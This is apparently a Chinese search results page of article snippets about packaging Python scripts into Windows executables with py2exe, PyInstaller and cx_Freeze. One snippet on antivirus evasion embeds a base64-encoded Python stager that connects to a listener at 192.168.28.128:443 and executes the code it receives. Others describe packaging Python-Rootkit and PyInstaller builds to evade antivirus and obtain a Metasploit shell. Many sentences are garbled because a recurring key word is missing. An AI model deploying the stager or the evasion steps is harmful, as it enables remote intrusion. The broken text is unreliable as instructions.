展开

关键词

python+pygame游戏开发之使用Py2exe游戏

在网上搜了几款关于python的程序,使用以后发现Py2exe是比较实用和方便的(py2exe是免费的)。 1.简介Py2exe可以将一个Python程序成exe可执行文件,方便没有Python环境的电脑上使用程序。使用Py2exe需要编写一个脚本,执行后可以得到文件。 对于32位版本,Py2exe可以将程序成单文件;对于64位版本,暂时还不支持成单文件。不过,无论如何压缩,目前Py2exe出来的程序都还是偏大的。 3.流程py2exe是需要写一个脚本进行的操作,使用下面这个专为pygame写就的脚本(参考py2exe官方),可以极大的方便操作,注意在使用前修改BuildExe里的各个参数。 即使一个很小的py文件,最终生成的exe文件也很大(看安装的库而定,我这里最小4.7M左右),事实上py2exe的时候会把无数的不需要的库都进来导致最终文件臃肿,如果你安装了很繁杂的库(wxPython

69020

Python 程序工具:py2exe 和 PyInstaller

通常执行 python 程序要有相应的 Python 环境,但某些特定场景下,我们可能并不愿意这么麻烦的去配置这些环境(比如将写好的脚本发给客户进行操作),如果可以提前将程序成 Windows平台的 .exe 文件或者是Linux下的 .sh 脚本,那么使用起来就会方便很多,py2exe 和 PyInstaller 这两款工具都是干这么个事的,下面以 hello.py 脚本(代码内容如下)为例进行介绍 n) print(A: + age) 提示:PyInstaller 可以在 Windows 和 Linux 下使用,更推荐使用,而 py2exe 暂不支持 Linux 平台 PyInstaller安装 安装pip install py2exe使用? py2exe?build error如上图,失败了,留意到这里说不支持 python3.6,果断放弃,有兴趣的可以自行降低到 python3.4 或 python3.5 进行尝试。

35320
  • 广告
    关闭

    云产品限时秒杀

    云服务器1核2G首年38元,还有多款热门云产品满足您的上云需求

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Python 程序工具:py2exe 和 PyInstaller

    通常执行 python 程序要有相应的 Python 环境,但某些特定场景下,我们可能并不愿意这么麻烦的去配置这些环境(比如将写好的脚本发给客户进行操作),如果可以提前将程序成 Windows平台的 .exe 文件或者是Linux下的 .sh 脚本,那么使用起来就会方便很多,py2exe 和 PyInstaller 这两款工具都是干这么个事的,下面以 hello.py 脚本(代码内容如下)为例进行介绍 n) print(A: + age) 提示:PyInstaller 可以在 Windows 和 Linux 下使用,更推荐使用,而 py2exe 暂不支持 Linux 平台 PyInstaller 安装 安装 pip install py2exe 如上图,失败了,留意到这里说不支持 python3.6,果断放弃,有兴趣的可以自行降低到 python3.4 或 python3.5 进行尝试。 文章已授权转载,原文链接:Python 程序工具:py2exe 和 PyInstaller

    7410

    Python 可执行文件

    Python程序需要依赖本机安装的Python库,若想在没有安装Python的机器上运行,则需要分发,目前有两个比较好用的工具:PyInstaller和py2exe。 其中py2exe应用在windows下,而PyInstall则可应用windows、Linux以及Mac OS X上。   这里只贴一段py2exe的实例代码。 文件    console= }]#源文件,程序图标)假如上面的源码保存为mysetup.py,则命令为 python mysetup.py py2exe 。 附:使用Enigma Virtual Box让Py2exe出的单文件更完美两个用过的实例:(1)、后台运行#coding=utf-8from distutils.core import setupimport  options,    zipfile=None,   #不生成library.zip文件    windows=#源文件)(2)、不得不有控制台窗口,且不能为一个exe文件。

    22610

    抬抬小手教你将Python程序成可执行文件

    我们今天就先来了解一下python方法的相关应用。 Python方法步骤二、安装py2exe 从官网下载并运行与你所安装的Python对应的py2exe版本的 installer,这将安装py2exe和相应的例子;这些例子被安装在libsite-packagespy2exesamples Python方法步骤三、py2exe的用法 如果你有一个名为myscript.py的Python脚本,你想把它转换为运行在windows上的可执行程序,并运行在没有安装Python的 windows Python mysetup.py py2exe --help Python方法步骤四、指定额外的文件 一些应用程序在运行时需要额外的文件,诸如配置文件、字体、位图。 #要含的其它库文件 10. options = {py2exe: 12.

    4910

    py2exe的安装 转

    1.py2exe下载下载地址:https:www.lfd.uci.edu~gohlkepythonlibs#lazyflow搜索py2exe,在你搜索到的位置看到这样的条目         py2exe ‑0.9.2.2‑cp34‑none‑win_amd64.whl3.在你要的代码文件(比如sample.py)的同文件夹建立一个python代码文件(比如setup.py),然后在其中输入:from ) py2exe_options = { includes: , # 如果文件中有PyQt代码,则这句为必须添加的 dll_excludes: , # 这句必须有,不然后的程序运行时会报找不到MSVCP90 .dll,如果过程中找不到这个文件,请安装相应的库 compressed: 1, optimize: 2, ascii: 0, bundle_files: 1, # 关于这个参数请看第三部分中的问题 (2) } setup( name = PyQt Demo, version = 1.0, windows = , # 括号中更改为你要的代码文件名 zipfile = None, options

    24430

    python直接生成exe的方法

    .pyw文件,不会产生类似cmd的窗口然后按下面的方法运行mysetup.py:python mysetup.py py2exe上面的命令执行后将产生一个名为dist的子目录,其中含了helloworld.exe dist子目录中的文件含了你的程序所必须的东西,你应将这个子目录中的所有内容一起发布。 默认情况下,py2exe在目录dist下创建以下这些必须的文件:1、一个或多个exe文件。 ,(fonts,glob.glob(fonts*.fnt))],)说明:data_files选项将创建一个子目录distbitmaps,其中含两个.gif文件;一个子目录distfonts,其中含了所有的 要含的其它库文件options = {py2exe:{compressed: 1, #压缩optimize: 2,ascii: 1,includes:includes,bundle_files: 1 #所有文件成一个exe文件 }}setup(version = XXX,description = XXX,name = XXX,options = options,zipfile=None, #不生成

    1.8K20

    wxPython_06_将Python源代码成exe可执行文件

    python的源代码要在没有安装配置Python相关开发环境的电脑上运行,那么就需要使用工具对源代码进行,在windows上运行则必须成exe可执行文件,现在常用的工具有:py2exe,PyInstaller 以及 cx-Freeze0PyInstaller太慢,过程太长;cx-Freeze可以说飞速;py2exe相对比较麻烦,需要另外写一个Python的脚本文件.下面使用py2exe工具Python 使用py2exe需要写一个Python的脚本文件:#coding=utf-8from distutils.core import setupimport py2exeimport glob#libRootPath 完成了上面的脚本文件之后,在命令行中执行操作:python setup.py py2exe就开始自动。【注意】上面setup.py文件就是上面编写的脚本。 ,数据库文件等等,py2exe过程是不会把这些资源文件进来的,需要手动拷贝进来:?

    63410

    如何做一个任何电脑都能用的python程序?

    有时候你做好了一个小游戏或者小程序想要发送给别人玩或者用的时候,直接发过去,如果别人没有python环境的话,那肯定是用不了的,这时候你需要将程序成exe程序。 将python成exe的方法有两种,一种是pyinstaller,另一种是py2exe.两者各有优缺点,不过现在大部分都使用pyinstaller去exe,为什么不用py2exe,后面你就知道了 我们的时候会出现的一个spec文件,一个spec文件的内容: ? py2exe方法是要创建一个python程序进行的 例如from distutils.core import setupimport py2exe setup(windows=)? 具体的内容可以去py2exe的官网阅读http:www.py2exe.orgindex.cgiFrontPage版本太过老旧了,本来我算用虚拟机下载一个旧版本的python去一下的,可是py2exe

    2K30

    python监控windows的CPU,

    python的psutil模块可以跨平台监控linux、windows、mac等,于是使用python写监控脚本,然后利用py2exe工具将其成exe后,直接将其放到windows下直接运行即可。 4.python脚本 要想监控脚本在其他windows上运行需要安装python环境,但我们可以将监控脚本成exe程序发布,只要运行exe程序就能够执行,如何实现呢? (1)安装程序py2exe-0.6.9.win32-py2.7.exe在http:sourceforge.netprojectspy2exefilespy2exe0.6.9 下载相应的版本下载后直接安装即可 (2)编写一个简单的编译脚本setup_py2exe.pyfrom distutils.core import setupimport py2exe setup(console=) (3) 进入dos 这是由于py2exe的程序需要9.0.21022.8这个版本的MSVCR90.DLL,我们可以从网上下载并将其放到dist目录下一起发布。

    55450

    python之程序

    build目录是Distutils组装的工作区。在安装的时候不需要build命令。 安装模块python setup.py install18.2 18.2.1 建立存档文件python setup.py sdist在创建源代码发布程序时,程序同时会创建叫做MANIFEST的文件, 其中括所有文件的列表。 18.4 使用py2exe创建可执行程序py2exe作为Distutils的扩展可用来创建可执行的windows程序。Py2exe可以创建拥有GUI的可执行文件。 setupimport py2exesetup(console=)运行脚本python setup.exe py2exe这样会创建控制台应用程序以及位于dist子目录中得其他一些文件。

    19430

    使用PyInstaller可执行文件

    0x00 前言之前都是使用py2exe将Python程序成可执行文件,但是最近需要成Macos上的可执行程序。于是,选择了py2app,但是使用下来发现坑比较多,最终还是放弃了。 PyInstaller与py2exe的主要差异(Windows):PyInstaller出来的是一个正常的exe;py2exe出来的既是exe,也是zip文件,可以进行解压 PyInstaller 出来的程序在运行后会创建一个临时目录,把dll等文件解压到临时目录中;py2exe使用了内存加载dll的技术,可以在不解压dll的情况下直接加载,看上去更优雅一些 0x01 环境准备测试过程使用了virtualenv 由于PyInstaller出来的程序在运行时会解压数据文件到临时目录中,因此程序中可以直接访问这些数据文件;而py2exe则需要手动将数据文件从程序体中解压出来使用。 app( Macos)在Macos上使用PyInstaller出来的是一个目录,可以直接压缩成zip文件给其他人使用,但更多的是成dmg格式。

    1.2K10

    飞机游戏成 exe

    发现很多朋友在写了 pygame 的飞机游戏之后,都很想成 exe 文件分享给别人玩。但是在的过程中,可能遇到一些问题。今天我就来整理一下 pygame exe 的一些注意事项。 另外,pygame 飞机游戏的相关资源,括图片和代码,我放在了论坛的帖子里,需要的朋友可去下载。在这里,我介绍两种较为常见的 exe 工具,cx_freeze 和 py2exe。 默认会生成好的 exe 文件在 dist 文件夹中。过程完成。 (文件来自 目光博客http:eyehere.net2011python-pygame-novice-professional-py2exe步骤:1.搜索并下载符合你 python 版本的 py2exe 后来在网上搜索了下,结论是:关闭xx管家xx安全卫士之类的软件,就可以成功了。关于 cx_freeze 和 py2exe 的详细配置,我会在论坛里转载两篇相关文章供参考。

    74460

    PyQt

    py2exePyQt4 中成EXE文件将某个GUI程序成EXE文件。Python2.7,在PyCharm中直接执行这个文件。 这里使用3.5版本的pyinstaller来。注意--paths指定了路径。环境变量中并没有设置这个路径。我们指定去找PyQt5的依赖dll。 ##############from file_utils import FileUtilsfrom mainwindow import Ui_MainWindow运行exe找不到模块报错使用默认方式 from my_package.ui_main import Ui_MainWindow # 显示指定了my_package 得到的exe会找不到这个from my_widget import DragInWidget # 不显示指定package 否则得到的exe会找不到而无法运行

    20420

    如何使用Python进行Payload免杀

    造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。 aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK)))0x02 py2exe Python程序将evil.py复制到windows,同时创建一个setup.py文件:from distutils.core import setupimport py2exesetup(name = Meter,description = Python-based App,version = 1.0,console=,options = {py2exe: {bundle_files: 1,packages python .setup.py py2exe?

    37110

    pythonexe的方法

    cxfreeze,pyinstaller,py2exe三种方式目前网上能获取的免费的Python工具主要有三种:py2exe、PyInstaller和cx_Freeze。 其中PyInstaller最新版只支持Python2.7,py2exe计划开发支持python3.x版本,但是目前还没有完成。 python_homeScripts下面 cxfreezeexe格式: python cxfreeze全路径 要的py文件  --target-dir=l例如:cxfreeze D:hello.py 下面,就可以进行python程序了。        Python33Scripts”目录(也就是cxfreeze命令所在的文件目录)下运行:cxfreeze D:hello.py --target-dir D:123   就可以将D:hello.py文件

    1.1K20

    远控免杀专题(17)-Python-Rootkit免杀(VT免杀率769)

    把python代码成exe,其实最终执行的是powershell命令,使用了PowerSploit的Invoke-Shellcode.ps1来反弹msf的shell。 请往下看二、安装Python-Rootkit因为要使用py2exe,所以我就在windows上安装了,如果linux上安装了wine后不知道能不能使用py2exe,可自行测试。 1、先从官网git到本地git clone https:github.com0xIslamTahaPython-Rootkit2、修改参数进入Python-RootkitviRu5文件夹开source.py py2exe,我已经下载好了一份python2.7的py2exe安装文件py2exe-0.6.9.win32-py2.7.exe,下载地址https:github.comTideSecBypassAntiVirusblobmastertoolspy2exe 开杀软进行测试,静态检测都可bypass,行为检测时火绒提示隐藏的powershell行为,关闭火绒后可正常上线,360安全卫士和杀毒都没有报警。 ?

    47820

    pyinstallerexe免杀和逆向浅析

    众所周知,python的文件体积都比较大,而且很容易被杀软检测识别,甚至部分厂商会直接将Pyinstaller的任何文件直接拉黑报毒,所以在这里讨论下pyinstaller和py2exeexe 2.2 py2exe测试2.2.1 py2exe安装直接使用 pip3 install py2exe 我的本地环境是python3 3.6.5 64位2.2.2 py2exe测试这时候对于一个普通的文件进行测试 )直接python setup_2.py py2exe在dist文件夹下会生成一个test_py2.exe文件。 由此可见,py2exe的exe文件同样也已经被标记,python免杀真的是穷途末路了。 2.3 文件总结在py2exe之后的文件,并不是一个单纯的exe文件,不能像pyinstaller那样,直接一个exe完事,文件必须放在dist文件夹下,需要引入第三方的文件才可以执行。

    17530

    基于esky实现python应用的自动升级

    、更新版本),esky支持py2exe,py2app,cxfreeze以及bbfreeze等多种python框架。 1、编译完整python setup.py bdist_esky编译之后会在dist目录生成名为wxImageViewer-1.0.win-amd64.zip的文件,注意这个文件名本身就含了版本信息 六、复杂的esky编译脚本1、实现目录2、实现应用程序版本信息设置#coding=utf-8#---------------------------------------------------- -----------------------Create by: joshua zou 2016.10.08Purpose: 调用esky成执行文件,支持自动升级。 excludes: , #剔除wx里tkinter metadata:metadata}; APP = #et.ico,helpinfo.txt放到应用目录下#.langzh_CNLC_MESSAGESeT.mo

    91030

    关于Python病毒样本的分析方法

    本文针对第二种方式进行介绍,将介绍常见的Python工具的安装和使用方法,同时对典型的Python木马病毒进行分析,并讲述相关逆向分析技巧。常见Python工具1. 2. py2exe简介Py2exe这个工具只能在Windows平台使用,Py2exe是一个开源项目,github的地址:https:github.compy2exepy2exe。 分析方法(1) 在py2exe后的结果文件中,exe和python.dll都是必要组件。有时python.dll可能会被内嵌在exe中。 4. cx_Freeze简介cx_Freeze也是一种用于将Python脚本成可执行文件的一种工具,使用起来和py2exe差不多。 其他Python分析通常情况下,病毒样本不会乖乖的使用以上几种工具进行。很多黑客会使用自己定制的程序来对python脚本进行。我们以一个样本举例,通过该样本来演示如何分析。

    43810

    扫码关注云+社区

    领取腾讯云代金券